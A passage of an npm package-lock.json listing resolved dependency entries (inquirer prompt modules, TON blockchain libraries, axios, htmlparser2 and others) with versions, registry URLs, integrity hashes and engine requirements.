110 | "dependencies": {
111 | "ansi-regex": "^5.0.1"
112 | },
113 | "engines": {
114 | "node": ">=8"
115 | }
116 | },
117 | "node_modules/@inquirer/editor": {
118 | "version": "2.2.0",
119 | "resolved": "https://registry.npmjs.org/@inquirer/editor/-/editor-2.2.0.tgz",
120 | "integrity": "sha512-9KHOpJ+dIL5SZli8lJ6xdaYLPPzB8xB9GZItg39MBybzhxA16vxmszmQFrRwbOA918WA2rvu8xhDEg/p6LXKbw==",
121 | "dependencies": {
122 | "@inquirer/core": "^9.1.0",
123 | "@inquirer/type": "^1.5.3",
124 | "external-editor": "^3.1.0"
125 | },
126 | "engines": {
127 | "node": ">=18"
128 | }
129 | },
130 | "node_modules/@inquirer/expand": {
131 | "version": "2.3.0",
132 | "resolved": "https://registry.npmjs.org/@inquirer/expand/-/expand-2.3.0.tgz",
133 | "integrity": "sha512-qnJsUcOGCSG1e5DTOErmv2BPQqrtT6uzqn1vI/aYGiPKq+FgslGZmtdnXbhuI7IlT7OByDoEEqdnhUnVR2hhLw==",
134 | "dependencies": {
135 | "@inquirer/core": "^9.1.0",
136 | "@inquirer/type": "^1.5.3",
137 | "yoctocolors-cjs": "^2.1.2"
138 | },
139 | "engines": {
140 | "node": ">=18"
141 | }
142 | },
143 | "node_modules/@inquirer/figures": {
144 | "version": "1.0.7",
145 | "resolved": "https://registry.npmjs.org/@inquirer/figures/-/figures-1.0.7.tgz",
146 | "integrity": "sha512-m+Trk77mp54Zma6xLkLuY+mvanPxlE4A7yNKs2HBiyZ4UkVs28Mv5c/pgWrHeInx+USHeX/WEPzjrWrcJiQgjw==",
147 | "engines": {
148 | "node": ">=18"
149 | }
150 | },
151 | "node_modules/@inquirer/input": {
152 | "version": "2.3.0",
153 | "resolved": "https://registry.npmjs.org/@inquirer/input/-/input-2.3.0.tgz",
154 | "integrity": "sha512-XfnpCStx2xgh1LIRqPXrTNEEByqQWoxsWYzNRSEUxJ5c6EQlhMogJ3vHKu8aXuTacebtaZzMAHwEL0kAflKOBw==",
155 | "dependencies": {
156 | "@inquirer/core": "^9.1.0",
157 | "@inquirer/type": "^1.5.3"
158 | },
159 | "engines": {
160 | "node": ">=18"
161 | }
162 | },
163 | "node_modules/@inquirer/number": {
164 | "version": "1.1.0",
165 | "resolved": "https://registry.npmjs.org/@inquirer/number/-/number-1.1.0.tgz",
166 | "integrity": "sha512-ilUnia/GZUtfSZy3YEErXLJ2Sljo/mf9fiKc08n18DdwdmDbOzRcTv65H1jjDvlsAuvdFXf4Sa/aL7iw/NanVA==",
167 | "dependencies": {
168 | "@inquirer/core": "^9.1.0",
169 | "@inquirer/type": "^1.5.3"
170 | },
171 | "engines": {
172 | "node": ">=18"
173 | }
174 | },
175 | "node_modules/@inquirer/password": {
176 | "version": "2.2.0",
177 | "resolved": "https://registry.npmjs.org/@inquirer/password/-/password-2.2.0.tgz",
178 | "integrity": "sha512-5otqIpgsPYIshqhgtEwSspBQE40etouR8VIxzpJkv9i0dVHIpyhiivbkH9/dGiMLdyamT54YRdGJLfl8TFnLHg==",
179 | "dependencies": {
180 | "@inquirer/core": "^9.1.0",
181 | "@inquirer/type": "^1.5.3",
182 | "ansi-escapes": "^4.3.2"
183 | },
184 | "engines": {
185 | "node": ">=18"
186 | }
187 | },
188 | "node_modules/@inquirer/prompts": {
189 | "version": "5.5.0",
190 | "resolved": "https://registry.npmjs.org/@inquirer/prompts/-/prompts-5.5.0.tgz",
191 | "integrity": "sha512-BHDeL0catgHdcHbSFFUddNzvx/imzJMft+tWDPwTm3hfu8/tApk1HrooNngB2Mb4qY+KaRWF+iZqoVUPeslEog==",
192 | "dependencies": {
193 | "@inquirer/checkbox": "^2.5.0",
194 | "@inquirer/confirm": "^3.2.0",
195 | "@inquirer/editor": "^2.2.0",
196 | "@inquirer/expand": "^2.3.0",
197 | "@inquirer/input": "^2.3.0",
198 | "@inquirer/number": "^1.1.0",
199 | "@inquirer/password": "^2.2.0",
200 | "@inquirer/rawlist": "^2.3.0",
201 | "@inquirer/search": "^1.1.0",
202 | "@inquirer/select": "^2.5.0"
203 | },
204 | "engines": {
205 | "node": ">=18"
206 | }
207 | },
208 | "node_modules/@inquirer/rawlist": {
209 | "version": "2.3.0",
210 | "resolved": "https://registry.npmjs.org/@inquirer/rawlist/-/rawlist-2.3.0.tgz",
211 | "integrity": "sha512-zzfNuINhFF7OLAtGHfhwOW2TlYJyli7lOUoJUXw/uyklcwalV6WRXBXtFIicN8rTRK1XTiPWB4UY+YuW8dsnLQ==",
212 | "dependencies": {
213 | "@inquirer/core": "^9.1.0",
214 | "@inquirer/type": "^1.5.3",
215 | "yoctocolors-cjs": "^2.1.2"
216 | },
217 | "engines": {
218 | "node": ">=18"
219 | }
220 | },
221 | "node_modules/@inquirer/search": {
222 | "version": "1.1.0",
223 | "resolved": "https://registry.npmjs.org/@inquirer/search/-/search-1.1.0.tgz",
224 | "integrity": "sha512-h+/5LSj51dx7hp5xOn4QFnUaKeARwUCLs6mIhtkJ0JYPBLmEYjdHSYh7I6GrLg9LwpJ3xeX0FZgAG1q0QdCpVQ==",
225 | "dependencies": {
226 | "@inquirer/core": "^9.1.0",
227 | "@inquirer/figures": "^1.0.5",
228 | "@inquirer/type": "^1.5.3",
229 | "yoctocolors-cjs": "^2.1.2"
230 | },
231 | "engines": {
232 | "node": ">=18"
233 | }
234 | },
235 | "node_modules/@inquirer/select": {
236 | "version": "2.5.0",
237 | "resolved": "https://registry.npmjs.org/@inquirer/select/-/select-2.5.0.tgz",
238 | "integrity": "sha512-YmDobTItPP3WcEI86GvPo+T2sRHkxxOq/kXmsBjHS5BVXUgvgZ5AfJjkvQvZr03T81NnI3KrrRuMzeuYUQRFOA==",
239 | "dependencies": {
240 | "@inquirer/core": "^9.1.0",
241 | "@inquirer/figures": "^1.0.5",
242 | "@inquirer/type": "^1.5.3",
243 | "ansi-escapes": "^4.3.2",
244 | "yoctocolors-cjs": "^2.1.2"
245 | },
246 | "engines": {
247 | "node": ">=18"
248 | }
249 | },
250 | "node_modules/@inquirer/type": {
251 | "version": "1.5.5",
252 | "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-1.5.5.tgz",
253 | "integrity": "sha512-MzICLu4yS7V8AA61sANROZ9vT1H3ooca5dSmI1FjZkzq7o/koMsRfQSzRtFo+F3Ao4Sf1C0bpLKejpKB/+j6MA==",
254 | "dependencies": {
255 | "mute-stream": "^1.0.0"
256 | },
257 | "engines": {
258 | "node": ">=18"
259 | }
260 | },
261 | "node_modules/@ton/core": {
262 | "version": "0.59.0",
263 | "resolved": "https://registry.npmjs.org/@ton/core/-/core-0.59.0.tgz",
264 | "integrity": "sha512-LSIkGst7BoY7fMWshejzcH0UJnoW21JGlRrW0ch+6A7Xb/7EuekxgdKym7fHxcry6OIf6FoeFg97lJ960N/Ghg==",
265 | "dependencies": {
266 | "symbol.inspect": "1.0.1"
267 | },
268 | "peerDependencies": {
269 | "@ton/crypto": ">=3.2.0"
270 | }
271 | },
272 | "node_modules/@ton/crypto": {
273 | "version": "3.3.0",
274 | "resolved": "https://registry.npmjs.org/@ton/crypto/-/crypto-3.3.0.tgz",
275 | "integrity": "sha512-/A6CYGgA/H36OZ9BbTaGerKtzWp50rg67ZCH2oIjV1NcrBaCK9Z343M+CxedvM7Haf3f/Ee9EhxyeTp0GKMUpA==",
276 | "dependencies": {
277 | "@ton/crypto-primitives": "2.1.0",
278 | "jssha": "3.2.0",
279 | "tweetnacl": "1.0.3"
280 | }
281 | },
282 | "node_modules/@ton/crypto-primitives": {
283 | "version": "2.1.0",
284 | "resolved": "https://registry.npmjs.org/@ton/crypto-primitives/-/crypto-primitives-2.1.0.tgz",
285 | "integrity": "sha512-PQesoyPgqyI6vzYtCXw4/ZzevePc4VGcJtFwf08v10OevVJHVfW238KBdpj1kEDQkxWLeuNHEpTECNFKnP6tow==",
286 | "dependencies": {
287 | "jssha": "3.2.0"
288 | }
289 | },
290 | "node_modules/@ton/ton": {
291 | "version": "15.1.0",
292 | "resolved": "https://registry.npmjs.org/@ton/ton/-/ton-15.1.0.tgz",
293 | "integrity": "sha512-almetcfTu7jLjcNcEEPB7wAc8yl90ES1M//sOr1QE+kv7RbmEvMkaPSc7kFxzs10qrjIPKxlodBJlMSWP5LuVQ==",
294 | "dependencies": {
295 | "axios": "^1.6.7",
296 | "dataloader": "^2.0.0",
297 | "symbol.inspect": "1.0.1",
298 | "teslabot": "^1.3.0",
299 | "zod": "^3.21.4"
300 | },
301 | "peerDependencies": {
302 | "@ton/core": ">=0.59.0",
303 | "@ton/crypto": ">=3.2.0"
304 | }
305 | },
306 | "node_modules/@types/lodash": {
307 | "version": "4.17.13",
308 | "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.13.tgz",
309 | "integrity": "sha512-lfx+dftrEZcdBPczf9d0Qv0x+j/rfNCMuC6OcfXmO8gkfeNAY88PgKUbvG56whcN23gc27yenwF6oJZXGFpYxg==",
310 | "dev": true
311 | },
312 | "node_modules/@types/mute-stream": {
313 | "version": "0.0.4",
314 | "resolved": "https://registry.npmjs.org/@types/mute-stream/-/mute-stream-0.0.4.tgz",
315 | "integrity": "sha512-CPM9nzrCPPJHQNA9keH9CVkVI+WR5kMa+7XEs5jcGQ0VoAGnLv242w8lIVgwAEfmE4oufJRaTc9PNLQl0ioAow==",
316 | "dependencies": {
317 | "@types/node": "*"
318 | }
319 | },
320 | "node_modules/@types/node": {
321 | "version": "22.8.5",
322 | "resolved": "https://registry.npmjs.org/@types/node/-/node-22.8.5.tgz",
323 | "integrity": "sha512-5iYk6AMPtsMbkZqCO1UGF9W5L38twq11S2pYWkybGHH2ogPUvXWNlQqJBzuEZWKj/WRH+QTeiv6ySWqJtvIEgA==",
324 | "dependencies": {
325 | "undici-types": "~6.19.8"
326 | }
327 | },
328 | "node_modules/@types/wrap-ansi": {
329 | "version": "3.0.0",
330 | "resolved": "https://registry.npmjs.org/@types/wrap-ansi/-/wrap-ansi-3.0.0.tgz",
331 | "integrity": "sha512-ltIpx+kM7g/MLRZfkbL7EsCEjfzCcScLpkg37eXEtx5kmrAKBkTJwd1GIAjDSL8wTpM6Hzn5YO4pSb91BEwu1g=="
332 | },
333 | "node_modules/agent-base": {
334 | "version": "7.1.1",
335 | "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.1.tgz",
336 | "integrity": "sha512-H0TSyFNDMomMNJQBn8wFV5YC/2eJ+VXECwOadZJT554xP6cODZHPX3H9QMQECxvrgiSOP1pHjy1sMWQVYJOUOA==",
337 | "dependencies": {
338 | "debug": "^4.3.4"
339 | },
340 | "engines": {
341 | "node": ">= 14"
342 | }
343 | },
344 | "node_modules/ansi-escapes": {
345 | "version": "4.3.2",
346 | "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",
347 | "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==",
348 | "dependencies": {
349 | "type-fest": "^0.21.3"
350 | },
351 | "engines": {
352 | "node": ">=8"
353 | },
354 | "funding": {
355 | "url": "https://github.com/sponsors/sindresorhus"
356 | }
357 | },
358 | "node_modules/ansi-regex": {
359 | "version": "6.1.0",
360 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
361 | "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
362 | "engines": {
363 | "node": ">=12"
364 | },
365 | "funding": {
366 | "url": "https://github.com/chalk/ansi-regex?sponsor=1"
367 | }
368 | },
369 | "node_modules/ansi-styles": {
370 | "version": "4.3.0",
371 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
372 | "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
373 | "dependencies": {
374 | "color-convert": "^2.0.1"
375 | },
376 | "engines": {
377 | "node": ">=8"
378 | },
379 | "funding": {
380 | "url": "https://github.com/chalk/ansi-styles?sponsor=1"
381 | }
382 | },
383 | "node_modules/async-mutex": {
384 | "version": "0.3.2",
385 | "resolved": "https://registry.npmjs.org/async-mutex/-/async-mutex-0.3.2.tgz",
386 | "integrity": "sha512-HuTK7E7MT7jZEh1P9GtRW9+aTWiDWWi9InbZ5hjxrnRa39KS4BW04+xLBhYNS2aXhHUIKZSw3gj4Pn1pj+qGAA==",
387 | "dependencies": {
388 | "tslib": "^2.3.1"
389 | }
390 | },
391 | "node_modules/asynckit": {
392 | "version": "0.4.0",
393 | "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
394 | "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="
395 | },
396 | "node_modules/axios": {
397 | "version": "1.7.7",
398 | "resolved": "https://registry.npmjs.org/axios/-/axios-1.7.7.tgz",
399 | "integrity": "sha512-S4kL7XrjgBmvdGut0sN3yJxqYzrDOnivkBiN0OFs6hLiUam3UPvswUo0kqGyhqUZGEOytHyumEdXsAkgCOUf3Q==",
400 | "dependencies": {
401 | "follow-redirects": "^1.15.6",
402 | "form-data": "^4.0.0",
403 | "proxy-from-env": "^1.1.0"
404 | }
405 | },
406 | "node_modules/base64-js": {
407 | "version": "1.5.1",
408 | "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
409 | "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
410 | "funding": [
411 | {
412 | "type": "github",
413 | "url": "https://github.com/sponsors/feross"
414 | },
415 | {
416 | "type": "patreon",
417 | "url": "https://www.patreon.com/feross"
418 | },
419 | {
420 | "type": "consulting",
421 | "url": "https://feross.org/support"
422 | }
423 | ]
424 | },
425 | "node_modules/big-integer": {
426 | "version": "1.6.52",
427 | "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.52.tgz",
428 | "integrity": "sha512-QxD8cf2eVqJOOz63z6JIN9BzvVs/dlySa5HGSBH5xtR8dPteIRQnBxxKqkNTiT6jbDTF6jAfrd4oMcND9RGbQg==",
429 | "engines": {
430 | "node": ">=0.6"
431 | }
432 | },
433 | "node_modules/buffer": {
434 | "version": "6.0.3",
435 | "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz",
436 | "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==",
437 | "funding": [
438 | {
439 | "type": "github",
440 | "url": "https://github.com/sponsors/feross"
441 | },
442 | {
443 | "type": "patreon",
444 | "url": "https://www.patreon.com/feross"
445 | },
446 | {
447 | "type": "consulting",
448 | "url": "https://feross.org/support"
449 | }
450 | ],
451 | "dependencies": {
452 | "base64-js": "^1.3.1",
453 | "ieee754": "^1.2.1"
454 | }
455 | },
456 | "node_modules/bufferutil": {
457 | "version": "4.0.8",
458 | "resolved": "https://registry.npmjs.org/bufferutil/-/bufferutil-4.0.8.tgz",
459 | "integrity": "sha512-4T53u4PdgsXqKaIctwF8ifXlRTTmEPJ8iEPWFdGZvcf7sbwYo6FKFEX9eNNAnzFZ7EzJAQ3CJeOtCRA4rDp7Pw==",
460 | "hasInstallScript": true,
461 | "dependencies": {
462 | "node-gyp-build": "^4.3.0"
463 | },
464 | "engines": {
465 | "node": ">=6.14.2"
466 | }
467 | },
468 | "node_modules/chardet": {
469 | "version": "0.7.0",
470 | "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz",
471 | "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA=="
472 | },
473 | "node_modules/cli-width": {
474 | "version": "4.1.0",
475 | "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-4.1.0.tgz",
476 | "integrity": "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==",
477 | "engines": {
478 | "node": ">= 12"
479 | }
480 | },
481 | "node_modules/color-convert": {
482 | "version": "2.0.1",
483 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
484 | "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
485 | "dependencies": {
486 | "color-name": "~1.1.4"
487 | },
488 | "engines": {
489 | "node": ">=7.0.0"
490 | }
491 | },
492 | "node_modules/color-name": {
493 | "version": "1.1.4",
494 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
495 | "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
496 | },
497 | "node_modules/combined-stream": {
498 | "version": "1.0.8",
499 | "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
500 | "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
501 | "dependencies": {
502 | "delayed-stream": "~1.0.0"
503 | },
504 | "engines": {
505 | "node": ">= 0.8"
506 | }
507 | },
508 | "node_modules/commander": {
509 | "version": "12.1.0",
510 | "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz",
511 | "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==",
512 | "engines": {
513 | "node": ">=18"
514 | }
515 | },
516 | "node_modules/d": {
517 | "version": "1.0.2",
518 | "resolved": "https://registry.npmjs.org/d/-/d-1.0.2.tgz",
519 | "integrity": "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw==",
520 | "dependencies": {
521 | "es5-ext": "^0.10.64",
522 | "type": "^2.7.2"
523 | },
524 | "engines": {
525 | "node": ">=0.12"
526 | }
527 | },
528 | "node_modules/dataloader": {
529 | "version": "2.2.2",
530 | "resolved": "https://registry.npmjs.org/dataloader/-/dataloader-2.2.2.tgz",
531 | "integrity": "sha512-8YnDaaf7N3k/q5HnTJVuzSyLETjoZjVmHc4AeKAzOvKHEFQKcn64OKBfzHYtE9zGjctNM7V9I0MfnUVLpi7M5g=="
532 | },
533 | "node_modules/debug": {
534 | "version": "4.3.7",
535 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
536 | "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
537 | "dependencies": {
538 | "ms": "^2.1.3"
539 | },
540 | "engines": {
541 | "node": ">=6.0"
542 | },
543 | "peerDependenciesMeta": {
544 | "supports-color": {
545 | "optional": true
546 | }
547 | }
548 | },
549 | "node_modules/delayed-stream": {
550 | "version": "1.0.0",
551 | "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
552 | "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
553 | "engines": {
554 | "node": ">=0.4.0"
555 | }
556 | },
557 | "node_modules/dom-serializer": {
558 | "version": "1.4.1",
559 | "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz",
560 | "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==",
561 | "dependencies": {
562 | "domelementtype": "^2.0.1",
563 | "domhandler": "^4.2.0",
564 | "entities": "^2.0.0"
565 | },
566 | "funding": {
567 | "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
568 | }
569 | },
570 | "node_modules/domelementtype": {
571 | "version": "2.3.0",
572 | "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
573 | "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
574 | "funding": [
575 | {
576 | "type": "github",
577 | "url": "https://github.com/sponsors/fb55"
578 | }
579 | ]
580 | },
581 | "node_modules/domhandler": {
582 | "version": "4.3.1",
583 | "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz",
584 | "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==",
585 | "dependencies": {
586 | "domelementtype": "^2.2.0"
587 | },
588 | "engines": {
589 | "node": ">= 4"
590 | },
591 | "funding": {
592 | "url": "https://github.com/fb55/domhandler?sponsor=1"
593 | }
594 | },
595 | "node_modules/domutils": {
596 | "version": "2.8.0",
597 | "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz",
598 | "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==",
599 | "dependencies": {
600 | "dom-serializer": "^1.0.1",
601 | "domelementtype": "^2.2.0",
602 | "domhandler": "^4.2.0"
603 | },
604 | "funding": {
605 | "url": "https://github.com/fb55/domutils?sponsor=1"
606 | }
607 | },
608 | "node_modules/dotenv": {
609 | "version": "16.4.5",
610 | "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.4.5.tgz",
611 | "integrity": "sha512-ZmdL2rui+eB2YwhsWzjInR8LldtZHGDoQ1ugH85ppHKwpUHL7j7rN0Ti9NCnGiQbhaZ11FpR+7ao1dNsmduNUg==",
612 | "engines": {
613 | "node": ">=12"
614 | },
615 | "funding": {
616 | "url": "https://dotenvx.com"
617 | }
618 | },
619 | "node_modules/emoji-regex": {
620 | "version": "8.0.0",
621 | "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
622 | "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
623 | },
624 | "node_modules/entities": {
625 | "version": "2.2.0",
626 | "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
627 | "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==",
628 | "funding": {
629 | "url": "https://github.com/fb55/entities?sponsor=1"
630 | }
631 | },
632 | "node_modules/es5-ext": {
633 | "version": "0.10.64",
634 | "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.64.tgz",
635 | "integrity": "sha512-p2snDhiLaXe6dahss1LddxqEm+SkuDvV8dnIQG0MWjyHpcMNfXKPE+/Cc0y+PhxJX3A4xGNeFCj5oc0BUh6deg==",
636 | "hasInstallScript": true,
637 | "dependencies": {
638 | "es6-iterator": "^2.0.3",
639 | "es6-symbol": "^3.1.3",
640 | "esniff": "^2.0.1",
641 | "next-tick": "^1.1.0"
642 | },
643 | "engines": {
644 | "node": ">=0.10"
645 | }
646 | },
647 | "node_modules/es6-iterator": {
648 | "version": "2.0.3",
649 | "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz",
650 | "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==",
651 | "dependencies": {
652 | "d": "1",
653 | "es5-ext": "^0.10.35",
654 | "es6-symbol": "^3.1.1"
655 | }
656 | },
657 | "node_modules/es6-symbol": {
658 | "version": "3.1.4",
659 | "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.4.tgz",
660 | "integrity": "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg==",
661 | "dependencies": {
662 | "d": "^1.0.2",
663 | "ext": "^1.7.0"
664 | },
665 | "engines": {
666 | "node": ">=0.12"
667 | }
668 | },
669 | "node_modules/esniff": {
670 | "version": "2.0.1",
671 | "resolved": "https://registry.npmjs.org/esniff/-/esniff-2.0.1.tgz",
672 | "integrity": "sha512-kTUIGKQ/mDPFoJ0oVfcmyJn4iBDRptjNVIzwIFR7tqWXdVI9xfA2RMwY/gbSpJG3lkdWNEjLap/NqVHZiJsdfg==",
673 | "dependencies": {
674 | "d": "^1.0.1",
675 | "es5-ext": "^0.10.62",
676 | "event-emitter": "^0.3.5",
677 | "type": "^2.7.2"
678 | },
679 | "engines": {
680 | "node": ">=0.10"
681 | }
682 | },
683 | "node_modules/event-emitter": {
684 | "version": "0.3.5",
685 | "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz",
686 | "integrity": "sha512-D9rRn9y7kLPnJ+hMq7S/nhvoKwwvVJahBi2BPmx3bvbsEdK3W9ii8cBSGjP+72/LnM4n6fo3+dkCX5FeTQruXA==",
687 | "dependencies": {
688 | "d": "1",
689 | "es5-ext": "~0.10.14"
690 | }
691 | },
692 | "node_modules/ext": {
693 | "version": "1.7.0",
694 | "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz",
695 | "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==",
696 | "dependencies": {
697 | "type": "^2.7.2"
698 | }
699 | },
700 | "node_modules/external-editor": {
701 | "version": "3.1.0",
702 | "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz",
703 | "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==",
704 | "dependencies": {
705 | "chardet": "^0.7.0",
706 | "iconv-lite": "^0.4.24",
707 | "tmp": "^0.0.33"
708 | },
709 | "engines": {
710 | "node": ">=4"
711 | }
712 | },
713 | "node_modules/fdy-tmp": {
714 | "version": "1.0.4",
715 | "resolved": "https://registry.npmjs.org/fdy-tmp/-/fdy-tmp-1.0.4.tgz",
716 | "integrity": "sha512-WLE9lG+aNGa8avPAWoN1TTkwZiDJAHqdUz8QMQIXMJWYDY1brsScIIwbBFQwQO0G+DF5Qq40npQ2XoV6IP6uUw==",
717 | "engines": {
718 | "node": ">=18"
719 | }
720 | },
721 | "node_modules/follow-redirects": {
722 | "version": "1.15.9",
723 | "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz",
724 | "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==",
725 | "funding": [
726 | {
727 | "type": "individual",
728 | "url": "https://github.com/sponsors/RubenVerborgh"
729 | }
730 | ],
731 | "engines": {
732 | "node": ">=4.0"
733 | },
734 | "peerDependenciesMeta": {
735 | "debug": {
736 | "optional": true
737 | }
738 | }
739 | },
740 | "node_modules/form-data": {
741 | "version": "4.0.1",
742 | "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.1.tgz",
743 | "integrity": "sha512-tzN8e4TX8+kkxGPK8D5u0FNmjPUjw3lwC9lSLxxoB/+GtsJG91CO8bSWy73APlgAZzZbXEYZJuxjkHH2w+Ezhw==",
744 | "dependencies": {
745 | "asynckit": "^0.4.0",
746 | "combined-stream": "^1.0.8",
747 | "mime-types": "^2.1.12"
748 | },
749 | "engines": {
750 | "node": ">= 6"
751 | }
752 | },
753 | "node_modules/graceful-fs": {
754 | "version": "4.2.11",
755 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
756 | "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="
757 | },
758 | "node_modules/htmlparser2": {
759 | "version": "6.1.0",
760 | "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz",
761 | "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==",
762 | "funding": [
763 | "https://github.com/fb55/htmlparser2?sponsor=1",
764 | {
765 | "type": "github",
766 | "url": "https://github.com/sponsors/fb55"
767 | }
768 | ],
769 | "dependencies": {
770 | "domelementtype": "^2.0.1",
